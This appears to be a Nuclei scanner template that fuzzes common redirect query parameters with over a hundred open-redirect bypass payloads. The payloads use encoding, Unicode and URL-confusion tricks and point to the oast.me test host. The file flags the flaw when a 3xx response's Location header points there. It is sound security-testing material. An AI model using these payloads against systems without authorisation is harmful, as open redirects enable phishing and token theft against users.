id: open-redirect-bypass

info:
  name: Open Redirect Bypass
  author: ritikchaddha
  severity: medium
  metadata:
    max-request: 1
  tags: redirect,dast,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      redirect:
        - "{{Hostname}}.oast.me"
        - "//oast.me"
        - '////oast.me'
        - "https:oast.me"
        - '\/\/oast.me/'
        - '/\/oast.me/'
        - "oast。me"
        - "//oast%E3%80%82me"
        - "//oast%00.me"
        - "@oast.me/"
        - '/\{{Hostname}}%40oast.me'
        - "{{Hostname}}@oast.me/"
        - "{{RootURL}}/http://www.oast.me/"
        - "{{RootURL}}?http://www.oast.me/"
        - '%09/oast.me/'
        - '%5C%5Coast.me/%252e%252e%252f'
        - '%5Coast.me'
        - '%5coast.me/%2f%2e%2e'
        - '%5c{{RootURL}}oast.me/%2f%2e%2e'
        - '../oast.me'
        - '.oast.me'
        - '/%5coast.me'
        - '////\;@oast.me'
        - '///oast.me'
        - '///oast.me/%2f%2e%2e'
        - '///oast.me@//'
        - '///{{RootURL}}oast.me/%2f%2e%2e'
        - '//;@oast.me'
        - '//\/oast.me/'
        - '//\@oast.me'
        - '//\oast.me'
        - '//\toast.me/'
        - '//oast.me/%2F..'
        - '//oast.me//'
        - '//%69%6e%74%65%72%61%63%74%2e%73%68'
        - '//oast.me@//'
        - '//oast.me\toast.me/'
        - '//https://oast.me@//'
        - '/<>//oast.me'
        - '/\/\/oast.me/'
        - '/\/oast.me'
        - '/\oast.me'
        - '/oast.me'
        - '/oast.me/%2F..'
        - '/oast.me/'
        - '/oast.me/..;/css'
        - '/https:oast.me'
        - '/{{RootURL}}oast.me/'
        - '/〱oast.me'
        - '/〵oast.me'
        - '/ゝoast.me'
        - '/ーoast.me'
        - '/ｰoast.me'
        - '<>//oast.me'
        - '@oast.me'
        - '@https://oast.me'
        - '\/\/oast.me/'
        - 'oast%E3%80%82me'
        - 'oast.me'
        - 'oast.me/'
        - 'oast.me//'
        - 'oast.me;@'
        - 'https%3a%2f%2foast.me%2f'
        - 'https:%0a%0doast.me'
        - 'https://%0a%0doast.me'
        - 'https://%09/oast.me'
        - 'https://%2f%2f.oast.me/'
        - 'https://%3F.oast.me/'
        - 'https://%5c%5c.oast.me/'
        - 'https://%5coast.me@'
        - 'https://%23.oast.me/'
        - 'https://.oast.me'
        - 'https://////oast.me'
        - 'https:///oast.me'
        - 'https:///oast.me/%2e%2e'
        - 'https:///oast.me/%2f%2e%2e'
        - 'https:///oast.me@oast.me/%2e%2e'
        - 'https:///oast.me@oast.me/%2f%2e%2e'
        - 'https://:80#@oast.me/'
        - 'https://:80?@oast.me/'
        - 'https://:@\@oast.me'
        - 'https://:@oast.me\@oast.me'
        - 'https://;@oast.me'
        - 'https://\toast.me/'
        - 'https://oast.me/oast.me'
        - 'https://oast.me/https://oast.me/'
        - 'https://www.\.oast.me'
        - 'https:/\/\oast.me'
        - 'https:/\oast.me'
        - 'https:/oast.me'
        - 'https:oast.me'
        - '{{RootURL}}oast.me'
        - '〱oast.me'
        - '〵oast.me'
        - 'ゝoast.me'
        - 'ーoast.me'
        - 'ｰoast.me'
        - 'redirect/oast.me'
        - 'cgi-bin/redirect.cgi?oast.me'
        - 'out?oast.me'
        - 'login?to=http://oast.me'
        - '#/oast.me'
        - '%0a/oast.me/'
        - '%0d/oast.me/'
        - '%00/oast.me/'

    fuzzing:
      - part: query
        mode: single
        keys:
          - AuthState
          - URL
          - _url
          - callback
          - checkout
          - checkout_url
          - content
          - continue
          - continueTo
          - counturl
          - data
          - dest
          - dest_url
          - destination
          - dir
          - document
          - domain
          - done
          - download
          - feed
          - file
          - file_name
          - file_url
          - folder
          - folder_url
          - forward
          - from_url
          - go
          - goto
          - host
          - html
          - http
          - https
          - image
          - image_src
          - image_url
          - imageurl
          - img
          - img_url
          - include
          - langTo
          - load_file
          - load_url
          - login_to
          - login_url
          - logout
          - media
          - navigation
          - next
          - next_page
          - open
          - out
          - page
          - page_url
          - pageurl
          - path
          - picture
          - port
          - proxy
          - r
          - r2
          - redir
          - redirect
          - redirectUri
          - redirectUrl
          - redirect_to
          - redirect_uri
          - redirect_url
          - reference
          - referrer
          - req
          - request
          - ret
          - retUrl
          - return
          - returnTo
          - return_path
          - return_to
          - return_url
          - rt
          - rurl
          - show
          - site
          - source
          - src
          - target
          - to
          - u
          - uri
          - url
          - val
          - validate
          - view
          - window
          - back
          - cgi
          - follow
          - home
          - jump
          - link
          - location
          - menu
          - move
          - nav
          - orig_url
          - out_url
          - query
          - auth
          - callback_url
          - confirm_url
          - destination_url
          - domain_url
          - entry
          - exit
          - forward_url
          - go_to
          - goto_url
          - home_url
          - image_link
          - load
          - logout_url
          - nav_to
          - origin
          - page_link
          - redirect_link
          - ref
          - referrer_url
          - return_link
          - return_to_url
          - source_url
          - target_url
          - to_url
          - validate_url
          - DirectTo
          - relay

        fuzz:
          - "{{redirect}}"

      - part: query
        mode: single
        values:
          - "https?://" # Replace HTTP URLs with alternatives
        fuzz:
          - "{{redirect}}"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)oast\.me\/?(\/|[^.].*)?$' # https://regex101.me/r/idfD2e/1

      - type: status
        status:
          - 301
          - 302
          - 307
# digest: 4a0a0047304502206a2882c605cac005cc99926e18ebd02dc43c4c31a756c745e7f4dd845ab2cca9022100d7cb3221c7842d7e9356fcd694217518a608885632f2cfd3e2abc52a2f26fad2:922c64590222798bb761d5b6d8e72950